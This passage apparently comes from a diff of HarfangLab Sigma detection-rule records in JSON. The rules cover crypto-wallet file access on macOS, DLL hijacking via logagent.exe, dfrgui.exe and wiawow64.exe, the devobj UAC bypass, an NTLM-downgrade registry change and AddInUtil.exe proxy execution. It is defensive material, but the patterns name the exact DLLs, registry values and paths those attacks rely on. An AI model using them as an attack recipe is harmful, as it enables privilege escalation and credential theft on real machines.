Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n    # end common exclusion\n\n    exclusion_ledger:\n        Image|startswith:\n            - '/Applications/Ledger Live.app/Contents/'\n            - '/Applications/Ledger Wallet.app/Contents/'\n\n    exclusion_google_update:\n        Image:\n        - '/Library/Application Support/Google/GoogleUpdater/*/GoogleUpdater.app/Contents/MacOS/GoogleUpdater'\n        - '/users/*/library/application support/google/googleupdater/*/googleupdater.app/contents/macos/googleupdater'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "52fe691a-20e5-47ef-87f1-d8fc6bdef244",
+  "rule_name": "Suspicious Access to Crypto Wallet Sensitive Files",
+  "rule_description": "Detects a process reading sensitive cryptocurrency wallet files.\nAdversaries may access these files in order to steal cryptocurrencies.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-01-06",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5301e669-0941-4751-a135-cbd3416b47ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619010Z",
+  "creation_date": "2026-03-23T11:45:34.619012Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619016Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_logagent.yml",
+  "content": "title: DLL Hijacking via logagent.exe\nid: 5301e669-0941-4751-a135-cbd3416b47ee\ndescription: |\n    Detects potential Windows DLL Hijacking via logagent.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'logagent.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wininet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5301e669-0941-4751-a135-cbd3416b47ee",
+  "rule_name": "DLL Hijacking via logagent.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via logagent.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "53073bd4-bc9f-4328-a7c0-c3e5a4410db7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600287Z",
+  "creation_date": "2026-03-23T11:45:34.600290Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600298Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dfrgui.yml",
+  "content": "title: DLL Hijacking via dfrgui.exe\nid: 53073bd4-bc9f-4328-a7c0-c3e5a4410db7\ndescription: |\n    Detects potential Windows DLL Hijacking via dfrgui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dfrgui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\defragproxy.dll'\n            - '\\propsys.dll'\n            - '\\SXSHARED.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "53073bd4-bc9f-4328-a7c0-c3e5a4410db7",
+  "rule_name": "DLL Hijacking via dfrgui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dfrgui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5329f89f-c4d1-4084-ae5a-44c204cb0413",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586418Z",
+  "creation_date": "2026-03-23T11:45:34.586421Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586429Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wiawow64.yml",
+  "content": "title: DLL Hijacking via wiawow64.exe\nid: 5329f89f-c4d1-4084-ae5a-44c204cb0413\ndescription: |\n    Detects potential Windows DLL Hijacking via wiawow64.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wiawow64.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ScanSetting.DLL'\n            - '\\UxTheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5329f89f-c4d1-4084-ae5a-44c204cb0413",
+  "rule_name": "DLL Hijacking via wiawow64.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wiawow64.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5333b226-43ac-4db0-ae99-03b37b486dc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621752Z",
+  "creation_date": "2026-03-23T11:45:34.621754Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621758Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://threathunterplaybook.com/hunts/windows/191224-RegModExtendedNetNTLMDowngrade/notebook.html",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1562_001_ntlm_auth_enable.yml",
+  "content": "title: Outgoing NTLM Traffic Enabled\nid: 5333b226-43ac-4db0-ae99-03b37b486dc5\ndescription: |\n    Detects when outgoing NTLM authentication is enabled in the Windows registry.\n    The modification of RestrictSendingNTLMTraffic registry value to 0 permits to use NTLM as authentication mechanism.\n    This weakens the security of network authentications and can be used by attackers to extract the NTLM hash.\n    It is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\nreferences:\n    - https://threathunterplaybook.com/hunts/windows/191224-RegModExtendedNetNTLMDowngrade/notebook.html\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2025/06/20\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\\RestrictSendingNTLMTraffic'\n        Details: 'DWORD (0x00000000)'\n        ProcessParentImage|contains: '?'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_sccm:\n        ProcessAncestors|contains:\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5333b226-43ac-4db0-ae99-03b37b486dc5",
+  "rule_name": "Outgoing NTLM Traffic Enabled",
+  "rule_description": "Detects when outgoing NTLM authentication is enabled in the Windows registry.\nThe modification of RestrictSendingNTLMTraffic registry value to 0 permits to use NTLM as authentication mechanism.\nThis weakens the security of network authentications and can be used by attackers to extract the NTLM hash.\nIt is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\n",
+  "rule_creation_date": "2025-06-20",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "534a0e88-946f-4ee2-b2c4-9862a027c71c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078062Z",
+  "creation_date": "2026-03-23T11:45:34.078064Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078068Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME/blob/v3.2.7/Source/Akagi/methods/hybrids.c#L198"
+  ],
+  "name": "t1548_002_uac_bypass_devobj.yml",
+  "content": "title: UAC Bypass Executed via devobj\nid: 534a0e88-946f-4ee2-b2c4-9862a027c71c\ndescription: |\n    Detects the execution of the devobj.dll UAC bypass, involving the hijacking of the DLL via winsat.exe (Windows System Assessment Tool).\n    This UAC bypass method acquires elevation through abusing APPINFO.DLL whitelisting model logic and the wusa installer (Windows Update Standalone Installer) or IFileOperation autoelevation.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME/blob/v3.2.7/Source/Akagi/methods/hybrids.c#L198\ndate: 2021/01/06\nmodified: 2025/04/17\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image:\n            - '*\\Windows\\SysWOW64\\\\*'\n            - '*\\Windows\\System32\\sysprep\\\\*'\n        ImageLoaded|endswith: '\\devobj.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    filter_no_info:\n        - ImageSize: -1\n        - ImageLoaded: '\\Windows\\\\*' # image starts with \\windows\\ instead of ?:\\windows, so no info possible\n\n    exclusion_not_signed:\n        sha256:\n            - '209ff1b6d46d1ac99518fcf54f2f726143b2dbf2c5fda90212fbef7526f7cbf5' # devobj.dll version 6.1.7601.17621 (win7sp1_gdr.110523-2108)\n            - '06d6cdcc3f72f957c22c6b6357673a209ce362d2151ab2f9644a20585da4cfe6' # devobj.dll version 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n            - '01104182e4e6fb3cf6397936d30b2ce3486967586d1b94187b59a8232dae39ff' # devobj.dll version 6.1.7600.16385 (win7_rtm.090713-1255)\n            - 'f87c84bb169cd301ccec1e51a4c94c05edd22d9df339b2c7bb8401a3309cc841' # devobj.dll version 10.0.19041.3155 (WinBuild.160101.0800)\n\n    exclusion_legitimate:\n        ImageLoaded:\n            - '?:\\Windows\\SysWOW64\\devobj.dll'\n            - '?:\\Windows\\system32\\devobj.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "534a0e88-946f-4ee2-b2c4-9862a027c71c",
+  "rule_name": "UAC Bypass Executed via devobj",
+  "rule_description": "Detects the execution of the devobj.dll UAC bypass, involving the hijacking of the DLL via winsat.exe (Windows System Assessment Tool).\nThis UAC bypass method acquires elevation through abusing APPINFO.DLL whitelisting model logic and the wusa installer (Windows Update Standalone Installer) or IFileOperation autoelevation.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the child and parent processes and user session to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-01-06",
+  "rule_modified_date": "2025-04-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5353f2e2-31d5-43e8-a979-c50711169465",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070834Z",
+  "creation_date": "2026-03-23T11:45:34.070836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070840Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_addinutil_suspicious_commandline.yml",
+  "content": "title: Suspicious AddInutil.exe Command-Line\nid: 5353f2e2-31d5-43e8-a979-c50711169465\ndescription: |\n    Detects suspicious command-line arguments for the Add-In deployment cache updating utility (AddInutil.exe).\n    Adversaries can use this utility to proxy the execution of malicious code, in an attempt to evade defense evasion.\n    It is recommended to investigate the Addins.Store file contained in the folder after the Addinroot or the Pipelineroot argument.\nreferences:\n    - https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/10/27\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Addinutil\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_addinutil:\n        OriginalFileName: 'AddInUtil.exe'\n\n    selection_absolute_flags:\n        CommandLine|contains:\n            - '-AddInRoot:'\n            - '-PipelineRoot:'\n\n    selection_absolute_paths:\n        CommandLine|contains:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\Desktop\\'\n            - '\\Downloads\\'\n            - '\\Users\\Public\\'\n            - '\\Windows\\Temp\\'\n\n    selection_relative:\n        CommandLine|contains:\n            - '-AddInRoot:.'\n            - '-AddInRoot:\".\"'\n            - '-PipelineRoot:.'\n            - '-PipelineRoot:\".\"'\n        CurrentDirectory|contains:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\Desktop\\'\n            - '\\Downloads\\'\n            - '\\Users\\Public\\'\n            - '\\Windows\\Temp\\'\n\n    condition: selection_addinutil and (all of selection_absolute_* or selection_relative)\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5353f2e2-31d5-43e8-a979-c50711169465",
+  "rule_name": "Suspicious AddInutil.exe Command-Line",
+  "rule_description": "Detects suspicious command-line arguments for the Add-In deployment cache updating utility (AddInutil.exe).\nAdversaries can use this utility to proxy the execution of malicious code, in an attempt to evade defense evasion.\nIt is recommended to investigate the Addins.Store file contained in the folder after the Addinroot or the Pipelineroot argument.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-03-31",
